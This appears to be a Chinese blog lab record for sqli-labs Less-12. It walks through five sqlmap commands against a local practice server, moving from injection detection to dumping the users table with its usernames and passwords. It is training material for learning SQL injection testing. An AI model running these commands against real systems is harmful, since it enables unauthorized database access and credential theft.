sqli-labs-Less-12自动化注入方法

sqli-labs 实验记录

Less-12

第一步:进行sqli注入漏洞检测

输入命令:

复制代码
sqlmap -u http://localhost/Less-12/?id=1 --batch --forms

--batch 表示采用默认参数。
--forms 表示自动提交表单。

查询结果如图所示:存在注入漏洞,注入类型分别为:boolean-based blind, error-based,time-based blind, union query; 并给出了相应的payload。

第二步:查询服务器中的所有数据库

输入命令:

复制代码
sqlmap -u http://localhost/Less-12/?id=1 --batch --forms --dbs

--dbs 表示查询数据库。

查询结果如图所示:数据库共有两个,分别为information_schema, security。

第三步:查询指定数据库中的所有表

输入命令:

复制代码
sqlmap -u http://localhost/Less-12/?id=1 --batch --forms -D security --tables

-D security 表示指定查询数据库security;
--tables 表示查询数据库中的所有表。

查询结果如图所示:数据表共有4个,分别是emails, referers, uagents, users。

第四步:查询指定数据表中的所有列

输入命令:

复制代码
sqlmap -u http://localhost/Less-12/?id=1 --batch --forms -D security -T users --columns

-T users 表示指定查询数据表users;
--columns 表示查询数据表中的所有列。

查询结果如图所示:数据列共有3个,分别是id, password, username。

第五步:查询指定数据表中的具体信息

输入命令:

复制代码
sqlmap -u http://localhost/Less-12/?id=1 --batch --forms -D security -T users --dump

--dump 表示查询数据表中的具体信息

查询结果如图所示:数据表users中的具体信息共有13条。

相关推荐
xianjian091211 小时前
MySQL 的 INSERT(插入数据)详解
android·数据库·mysql
eggwyw12 小时前
MySQL 与 Redis 的数据一致性问题
数据库·redis·mysql
Bdygsl13 小时前
MySQL(5)—— 聚合查询/分组查询/联合查询
数据库·mysql
lhbian13 小时前
开启mysql的binlog日志
数据库·mysql
志栋智能14 小时前
告别高昂投入:超自动化IT运维的轻量化实践
大数据·运维·网络·人工智能·自动化
优选资源分享14 小时前
zTasker v2.3.8 便携版丨 Windows 自动化任务工具
运维·windows·自动化
梦想的旅途214 小时前
企微智能知识库:AI赋能私域流量
人工智能·自动化·企业微信
Chockmans15 小时前
春秋云境CVE-2021-44915
web安全·网络安全·春秋云境·cve-2021-44915
CHQIUU15 小时前
PostgreSQL vs MySQL:选型指南与深度对比
数据库·mysql·postgresql
安徒生梦话15 小时前
Mysql Mvcc理解
mysql